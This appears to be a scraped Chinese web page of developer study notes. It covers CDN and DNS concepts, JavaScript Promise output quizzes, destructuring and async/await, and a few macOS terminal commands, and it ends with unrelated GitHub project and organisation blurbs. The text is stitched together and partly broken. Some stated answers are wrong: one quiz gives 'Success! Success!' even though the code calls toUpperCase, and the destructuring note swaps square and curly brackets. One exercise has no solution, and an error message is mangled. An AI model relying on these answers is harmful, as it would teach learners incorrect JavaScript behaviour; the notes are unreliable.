节点加上节点之间的智能冗余机制,可以有效地预防黑客入侵以及降低各种DDos攻击对网站的影响,同时保证较好的服务质量。
做 CDN 之前的客户真正的服务器。
访问者,也就是要访问网站的网民。
最后一公里,也就是网民到他所访问到的 CDN 服务器之间的路径。
域名是Internet网络上的一个服务器或一个网络系统的名字,全世界,没有重复的域名。
它是一个别名记录( Canonical Name );当 DNS 系统在查询 CNAME 左面的名称的时候,都会转向 CNAME 右面的名称再进行查询,一直追踪到最后的 PTR 或 A 名称,成功查询后才会做出回应,否则失败。
CDN的域名加速需要用到CNAME记录,在阿里云控制台配置完成CDN加速后,您会得到一个加速后的域名,称之为CNAME域名(该域名一定是*. http://kunlun.com
), 用户需要将自己的域名作CNAME指向这个.* http://kunlun.com
的域名后,域名解析的工作就正式转向阿里云,该域名所有的请求都将转向阿里云CDN的节点。
DNS即Domain Name System,是域名解析服务的意思。它在互联网的作用是:把域名转换成为网络可以识别的ip地址。人们习惯记忆域名,但机器间互相只认IP地址,域名与IP地址之间是一一对应的,它们之间的转换工作称为域名解析,域名解析需要由专门的域名解析服务器来完成,整个过程是自动进行的。
比如:上网时输入的百度一下,你就知道会自动转换成为220.181.112.143
也称CDN节点、Cache节点等;是相对于网络的复杂结构而提出的一个概念,指距离最终用户接入具有较少的中间环节的网络节点,对最终接入用户有较好的响应能力和连接速度。其作用是将访问量较大的网页内容和对象保存在服务器前端的专用cache设备上,以此来提高网站访问的速度和质量。
cache高速缓冲存储器一种特殊的存储器子系统,其中复制了频繁使用的数据以利于快速访问。存储器的高速缓冲存储器存储了频繁访问的RAM位置的内容及这些数据项的存储地址。当处理器引用存储器中的某地址时,高速缓冲存储器便检查是否存有该地址。如果存有该地址,则将数据返回处理器;如果没有保存该地址,则进行常规的存储器访问。因为高速缓冲存储器总是比主RAM存储器速度快,所以当RAM的访问速度低于微处理器的速度时,常使用高速缓冲存储器。
用来编写异步代码,处理回调地狱。
promise实例有三种状态:
Promise
对象状态的改变只有两种可能:从pending
变为fulfilled
或者从pending
变为rejected
,而且当状态已经发生改变后,就不会再变,会一直保持这种状态,这时就称为resolved(已定型)。
const promise = new Promise((resolve, reject) => {
resolve('success1') // Promise的状态已经从pending变为了fulfilled(即已resolved),后续再通过调用resolve或者reject去改变该Promise的状态都是无效的。
reject('error')
resolve('success2')
})
promise
.then((res) => {
console.log('then: ', res)
})
.catch((err) => {
console.log('catch: ', err)
})
运行结果:then: success1
new Promise(resolve => {
resolve();
})
.then(() => console.log(1))
.then(() => console.log(2))
.then(() => console.log(3))
new Promise(resolve => {
resolve();
})
.then(() => console.log(4))
.then(() => console.log(5))
.then(() => console.log(6))
运行结果:
1 4 2 5 3 6
分析:
then()
链式调用,并不是连续的创建了多个微任务并推入微任务队列,因为then()
的返回值必然是一个 Promise,而后续的then()
是上一步then()
返回的Promise的回调。(可以理解为下一个.then()
方法要想被执行,就必须等待上一次.then()
方法的状态变为resolved
才行)resolve()
,将 Promise 的状态改变为<resolved>: undefined
,然后 then 中传入的回调函数console.log('1')
作为一个微任务被推入微任务队列。then()
中传入的回调函数consoel.log('2')
此时还没有被推入微任务队列,只有上一个then()
中的console.log('1')
执行完毕后(即为resolved状态),console.log('2')
才会被推入微任务队列。总结:
Promise.prototype.then()
会隐式返回一个新 Promise。then
会在该Promise上注册一个回调,当其状态发生变化时,对应的回调将作为一个微任务被推入微任务队列。then()
会立即创建一个微任务,将传入的对应的回调推入微任务队列。题目:红灯三秒亮一次,绿灯一秒亮一次,黄灯2秒亮一次;如何让三个灯不断交替重复亮灯?(用Promise实现)
const red = () => console.log('red');
const green = () => console.log('green');
const yellow = () => console.log('yellow');
const promise1 = new Promise((resolve, reject) => {
setTimeout(() => {
resolve('success')
}, 1000)
})
const promise2 = promise1.then(() => {
throw new Error('error!!!')
})
console.log('promise1', promise1)
console.log('promise2', promise2)
setTimeout(() => {
console.log('promise1', promise1)
console.log('promise2', promise2)
}, 2000)
运行结果:
Promise.resolve()
.then(() => {
return new Error('error!!!')
})
.then(res => {
console.log('then: ', res)
})
.catch(err => {
console.log('catch: ', err);
})
运行结果:
then: Error: error!!!
解释:.then或者.catch中return一个 error 对象并不会抛出错误,
因为返回任意一个非promise的值都会被包裹成promise对象,
即 return new Error('error') 等价于 return Promise.resolve(new Error('error'))。
所以不会被后续的catch方法捕获,需改成下面中的一种。
1. return Promise.reject(new Error('error!!!'))
2. throw new Error('error!!!')
const promise = Promise.resolve().then(() => promise);
promise.catch(console.error);
运行结果:
TypeError:Chaining cycle detected for promise #<Promise>
解释:.then或.catch返回的值不能是 promise 本身,否则会造成死循环。
Promise.resolve(1)
.then(2)
.then(Promise.resolve(3))
.then(console.log)
运行结果:1
解释:.then或者.catch的参数期望是函数,传入非函数则会发生值穿透。
const p = new Promise((resolve, reject) => {
return Promise.reject(new Error('Fail!'));
})
p.catch(error => console.log(error.message));
运行结果:
报错 Uncaught(in promise)Error: The Fails! 并且不会触发 `.catch` 方法的执行打印出内容。
解释:使用 Promise 构造函数时,必须调用 `resolve()` 或 `reject()` 回调,来让 promise 实例变为 `resolved` 的状态。上述方法直接 `return Promise.reject()` 并不会让 p 这个 promise 实例变为 `resolved` 状态,此时 p 仍然还是 `pending` 状态,所以也无法触发 `.catch` 方法的执行。
Promise.resolve('Success!')
.then(data => {
return data.toUpperCase()
})
.then(data => {
console.log(data);
return data;
})
.then(console.log)
运行结果:Success! Success!
const first = () => (new Promise((resolve,reject)=>{
console.log(3);
let p = new Promise((resolve, reject)=>{
console.log(7);
setTimeout(()=>{
console.log(5);
resolve(6);
},0)
resolve(1);
});
resolve(2);
p.then((arg)=>{
console.log(arg);
});
}));
first().then((arg)=>{
console.log(arg);
});
console.log(4);
运行结果:3 7 4 1 2 5
解释:
解构使得将数组或对象的值分配给新变量更容易。
const contacts = {
name:'zj',
age:25,
love:'winter'
}
// 可以重命名变量
let {name,age,love:season} = contacts
console.log(name); // zj
console.log(age); // 25
console.log(season); // winter
const obj = { foo: 123};
const { writable, configurable} = Object. getOwnPropertyDescriptor(obj,'foo');
console.log(writable, configurable); // true true
对于数组,也是使用与对象相同的语法。只需要将方括号替换为花括号
const Arr = ['Lionel', 'John', 'Layla', 20];
let [a,b,c,d] = Arr;
可以忽略你不感兴趣的返回值
function f(){
return [1,2,3];
}
let [a, ,b] = f();
console.log(a); // 1
console.log(b); // 3
有什么地方可以使用解构
function getUserId({id}){
return id;
}
function whois({displayName: displayName, fullName: {firstName: name}}){
console.log(displayName + ' is ' + name);
}
const user = {
id: 100,
displayName: 'assassinZJ',
fullName: {
firstName: 'jing',
lastName: 'zhang'
}
};
console.log('userId: ' + getUserId(user)); // 'userId: 100'
whois(user); // 'assassinZJ is jing'
async
关键字做了什么:
async function fn() {
return 'async111';
}
const p = fn();
console.log(p); // Promise {<resolved>: "async111"} (返回一个状态为resolved,值为async111的Promise实例)
// 等价于
function fn1(){
return Promise.resolve('async111');
}
const p1 = fn1();
console.log(p1); // Promise {<resolved>: "async111"}
简单总结一下对于 await v
:
fulfilled
的Promise,还是会新建一个Promise,并在这个新Promise中resolved(v)
await v
后续的代码的执行类似于传入 then()
的回调。ifconfig
,敲击回车;vi ~/.zshrc
source ~/.zshrc
$ open .
mac os 系统默认的终端为bash,切换该终端为zsh,可以用以下命令
chsh -s /bin/zsh
切回默认终端bash
chsh -s /bin/bash
// 修改 .bash_profile
vim .bash_profile
//修改完后,重启终端或者执行下面命令
source ~/.bash_profile
迭代器(Iterator)是一个接口,为各种不同的数据结构提供统一的访问机制。任何数据只要部署了
接口,就可以完成遍历。
Iterator
迭代器的作用:
Iterator
接口主要供 ES6 创造的一种新的遍历命令for...of
循环来消费。A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.